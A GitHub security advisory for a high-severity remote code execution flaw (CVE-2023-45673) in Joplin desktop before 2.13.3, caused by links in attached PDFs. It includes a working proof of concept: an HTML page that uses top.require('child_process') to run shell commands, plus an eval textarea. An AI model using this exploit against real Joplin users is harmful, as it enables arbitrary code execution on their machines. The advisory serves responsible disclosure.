Skip to content

Arbitrary code execution on click of PDF links

High
laurent22 published GHSA-g8qx-5vcm-3x59 Jun 21, 2024

Package

joplin-desktop

Affected versions

< 2.13.3

Patched versions

2.13.3

Description

Summary

An RCE vulnerability allows clicking on a link in a PDF in an untrusted note to execute arbitrary shell commands.

Details

Clicking links in PDFs allows for arbitrary code execution because Joplin desktop

  1. has not disabled top redirection for note viewer iframes,
  2. and has node integration enabled.

This code

// Security: If we attempt to navigate away from the root HTML page, it's likely because
// of an improperly sanitized link. Prevent this by closing the window before we can
// navigate away.
window.onbeforeunload = () => {
window.close();
};

added after fixing a similar vulnerability does not prevent arbitrary code execution when the "show tray icon" setting is enabled (as it is on Windows/MacOS by default).

PoC

  1. Create a new note with the following content:
[Click for PoC](http://127.0.0.1:8000) <-- A different URL (e.g. to the internet) could be used here
  1. Print the note to PDF
  2. Create a new directory with a single file, index.html:
<!DOCTYPE html>
<html lang="en">
<body>
<textarea id="textarea"></textarea><button onclick="eval(textarea.value)">GO</button>
<script>
const child_proc = top.require('child_process')

// Change dir to ls if on MacOS/Linux
child_proc.exec('dir', (err, stdout) => {textarea.value= stdout + ", " + err;})

// Also show a window to show that this runs as soon as the link is clicked
// (the user doesn't have to show Joplin by clicking on the tray icon)
const remote = require('@electron/remote');
const win = new remote.BrowserWindow();
win.loadURL('http://127.0.0.1:8000/404.html')
</script>
</body>
</html>
  1. Start a local server (e.g. with python3 -m http.server) serving on port 8000 in that directory
  2. Attach the printed PDF to a note
  3. Click the "Click for PoC" link in the embedded PDF

Impact

This is a remote code execution vulnerability that impacts anyone who attaches untrusted PDFs to notes and has the icon enabled.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L

CVE ID

CVE-2023-45673

Weaknesses

No CWEs